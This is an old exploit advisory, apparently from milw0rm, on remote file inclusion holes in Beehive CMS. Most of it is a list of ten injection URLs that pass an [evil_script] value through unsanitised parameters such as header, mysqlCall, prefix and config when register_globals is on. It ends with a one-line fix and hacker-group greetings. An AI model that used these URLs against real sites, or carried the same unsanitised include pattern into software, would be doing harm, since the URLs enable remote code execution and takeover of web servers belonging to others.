--------------------------------------------------------------------------- Beehive CMS ([header]) Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3[R]Ln [ Romanian Security Team ] Remote : Yes Critical Level : Dangerous --------------------------------------------------------------------------- Affected software description : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Beehive CMS version : latest version URL : http://products.magnet-i.com/show/beehive/ ------------------------------------------------------------------ Exploit: ~~~~~~~~ Variable $header not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. # http://www.site.com/[path]/conad/include/rootGui.inc.php?header=[evil_script] # http://www.site.com/[path]/conad/changeEmail.inc.php?mysqlCall=[evil_script] # http://www.site.com/[path]/conad/changeUserDetails.inc.php?mysqlCall=[evil_script] # http://www.site.com/[path]/conad/checkPasswd.inc.php?mysqlCall=[evil_script] # http://www.site.com/[path]/conad/login.inc.php?mysqlCall=[evil_script] # http://www.site.com/[path]/conad/logout.inc.php?mysqlCall=[evil_script] # http://www.site.com/[path]/include/listall.inc.php?mysqlcall=[evil_script] # http://www.site.com/[path]/show/index.php?prefix=[evil_script] # http://www.site.com/[path]/conad/include/mysqlCall.inc.php?config=[evil_script] # http://www.site.com/[path]/include/rootGui.inc.php?header=[evil_script] --------------------------------------------------------------------------- Solution : ~~~~~~~~~~ declare variabel $header --------------------------------------------------------------------------- Shoutz: ~~~~~~ # Special greetz to my good friend [Oo] # To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ] --------------------------------------------------------------------------- */ Contact: ~~~~~~~~ Nick: Kw3rLN E-mail: ciriboflacs[at]YaHoo[dot]Com Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/ /* -------------------------------- [ EOF] ---------------------------------- # milw0rm.com [2006-06-25]